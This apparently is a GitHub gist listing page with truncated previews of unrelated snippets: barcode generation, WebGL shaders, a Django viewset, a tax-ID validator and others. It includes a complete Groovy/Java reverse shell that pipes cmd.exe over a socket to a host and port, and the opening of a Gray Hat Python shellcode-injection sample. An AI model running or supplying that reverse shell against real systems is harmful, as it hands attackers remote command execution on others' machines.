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John Mora JPaulMora

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@ekarulf
ekarulf / code128.py
Created November 16, 2010 04:25
Code128 Python Generator (Uses PIL)
#!/usr/bin/env python
# Copyright (c) 2010 Erik Karulf ([email protected])
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
@jonathandixon
jonathandixon / .gitignore
Last active January 5, 2021 22:01
Cordova CLI project .gitignore and helper script. Useful when you don't want to commit the platforms and plugins directories to version control. http://stackoverflow.com/q/17911204/417568
platforms/
plugins/
@RobinDavid
RobinDavid / code_injector.py
Created February 25, 2014 17:45
sample of shellcode injection into a process (Gray Hat Python)
'''
Example taken from Gray Hat Python
The script inject a shellcode which tasks is to kill the given process, so that the process will not be killed by our process directly.
'''
import sys
from ctypes import *
# We set the EXECUTE access mask so that our shellcode will execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
@adrianseeley
adrianseeley / compute.html
Last active July 12, 2024 20:13
WEBGL COMPUTE SHADER SETUP
<!DOCTYPE html>
<html>
<canvas id="c" width="128" height="128"></canvas>
<script src="glutil.js"></script>
<script id="vshader" type="text/plain">
attribute vec2 vtxpos;
varying vec2 texpos;
void main() {
texpos = (vtxpos / 2.) + vec2(0.5, 0.5);
gl_Position = vec4(vtxpos, 0, 1);
@adrianseeley
adrianseeley / glutil.js
Last active November 8, 2024 02:24
QP GPU (queue-pee gee-pee-you, or just Q-P for short) Quantum Particles via Graphics Processing Unit
window.onerror = function (msg, url, lineno) {
alert(url + '(' + lineno + '): ' + msg);
}
function createShader (str, type) {
var shader = gl.createShader(type);
gl.shaderSource(shader, str);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS))
throw gl.getShaderInfoLog(shader);
@adrianseeley
adrianseeley / GPU_MSDA_FF_ANN.html
Last active April 27, 2021 18:18
A Sinus Activated Multi-Stochastic-Descending/Ascending (MSD/A) Feed Forward Artificial Neural Network (ANN) Computed by GPU via JavaScript and WebGL GLSL (GATO 2014) :: Fiddle: http://jsfiddle.net/Hnv8H/
<!DOCTYPE html>
<html>
<pre id="page" style="font-family: monospace; white-space: pre-wrap;">
<h3>A Sinus Activated Multi-Stochastic-Descending/Ascending (MSD/A) Feed Forward Artificial Neural Network (ANN) Computed by GPU via JavaScript and WebGL GLSL (GATO 2014)</h3>This web page attempts to outline an implementation for solving non-linearly-separable (NLS) classification and function approximation problems using a sinus activated feed forward neural network, trained via multi-stochastic-descension/ascension (MSD/A), and evaluated using the GPU via JavaScript and WebGL GLSL source code.
In order to overcome NLS using MSD/A, a sinus activation function: <b>sin(x)</b>, has been used in place of sigmoid: <b>1 / (1 + exp(-x))</b>, hyper-tangent: <b>htan(x)</b>, and/or averaging: <b>sum / count</b>, activation functions.
Although ANNs capable of overcoming NLS problems are said to be capable of entering any computationally complete state, actually finding and entering a specific state required to solve a real
@gigorok
gigorok / gist:5ca39384635113495796
Created July 4, 2014 13:59
php interactive shell with loaded composer dependencies
php -a -d auto_prepend_file=./vendor/autoload.php
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@rodrigopolo
rodrigopolo / Guatemala NIT validation in JavaScript
Last active August 15, 2023 13:43
A simple function to validate guatemalan NIT using both, regex and math.
/*
* These functions validate whether a string corresponds to a Guatemalan tax
* identification number, also known as 'Numero de Identificación
* Tributaria' (NIT). They employ regular expressions for this purpose, utilizing
* the metacharacter shorthand '\d' instead of '[0-9]' to save space.
* The approach is highly optimized for bandwidth reduction; readability and
* maintenance are not prioritized over optimization. You can observe how this
* regular expression works through the following links:
* - https://regex101.com/r/d5YFJE/1
* - https://regexr.com/7ieic
@dkarchmer
dkarchmer / drf-nested-views.py
Last active December 21, 2023 19:47
Example of a Django Rest Framework ViewSet with nested views
# ViewSets define the view behavior.
class FooViewSet(viewsets.ModelViewSet):
lookup_field = 'slug'
queryset = Foo.objects.all()
serializer_class = FooSerializer
def get_queryset(self):
"""
This view should return a list of all records
"""